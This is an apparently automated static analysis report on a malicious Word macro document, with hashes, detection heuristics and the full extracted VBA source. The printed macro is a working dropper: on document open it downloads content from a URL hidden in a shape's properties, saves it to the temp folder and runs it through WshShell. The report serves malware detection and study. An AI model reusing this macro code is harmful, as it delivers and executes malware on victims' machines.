Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 ec03288989e8458f…

MALICIOUS

Office (OOXML)

112.1 KB Created: 2020-07-30 08:05:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-07
MD5: 73bcb8eeffec95b99204a6526773ef07 SHA-1: 243eb8edd4dec52b1552444dbef2f2c81242d24b SHA-256: ec03288989e8458f0daaee296ce994ab525642f21e6927e192905f3ffe571089
210 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a VBA macro with an AutoOpen subroutine that is designed to download and execute a second-stage payload. The script uses MSXML2.XMLHTTP60 to download content from an embedded URL and then executes it using Shell. The external relationship 'file:///C:\Framework\rels\builds\pack3\us.jpg' is suspicious and likely points to the location of the payload.

Heuristics 7

  • ClamAV: Doc.Downloader.SVCReady-8f5af0a5f0da7070-9951542-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.SVCReady-8f5af0a5f0da7070-9951542-0
  • External relationship high OOXML_EXTERNAL_REL
    External target in word/_rels/document.xml.rels: file:///C:\Framework\rels\builds\pack3\us.jpg
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2014/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexOOXML external relationship
    • http://schemas.openxmlformats.org/markup-compatibility/2006OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/inkOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2017/model3dOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/mathOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2012/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordml/cexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2016/wordml/cidOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2015/wordml/symexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkOOXML external relationship
    • http://schemas.microsoft.com/office/word/2006/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeOOXML external relationship

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1721 bytes
SHA-256: 56bd3004e2369f803e3db11ef5ff866e7e3da944189c8d3c743ce44a51303045
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "d66f7af9"
Sub AutoOpen()
Dim d01d9552 As New cf2f796b
aaa = fc935e6d(ec585bbd)
ef9d571d = d01d9552.bb04d297(aaa, "")
c62450dc daf2dc9e, ef9d571d
cd1fd776 = fc935e6d(ActiveDocument.Shapes(1).Title)
Dim f45e5049 As New WshShell
f45e5049.exec "" & cd1fd776 & " " & daf2dc9e
End Sub

Attribute VB_Name = "ee727641"
Sub c62450dc(ac59c61a, bcb0398a)
Dim ee49c5a7
ee49c5a7 = FreeFile
Open ac59c61a For Output As #ee49c5a7
Print #ee49c5a7, ac63f666(bcb0398a)
Close #ee49c5a7
End Sub
Function daf2dc9e()
daf2dc9e = Environ("tmp") & "\main.theme"
End Function
Function fc935e6d(db6c5bde)
'fc935e6d = StrReverse(db6c5bde)
fc935e6d = db6c5bde
End Function
Sub e01f2157()
End Sub
Function ac63f666(bcb0398a)
ac63f666 = StrConv(bcb0398a, 64)
End Function
Function ec585bbd()
ec585bbd = ActiveDocument.Shapes(1).AlternativeText
End Function

Attribute VB_Name = "cf2f796b"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function bb04d297(c404a2ea, cfb1368c)
Dim c1067038 As Object
Set c1067038 = New MSXML2.XMLHTTP60
Call c1067038.Open("GET", c404a2ea, False)
c1067038.Send
bb04d297 = c1067038.responsebody
End Function
Function d2a60f63(ae8390eb)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 19456 bytes
SHA-256: a0d58fa566370e313681dbbf15ad9a8c57d500d06d9b892b8c0a92ff46509774

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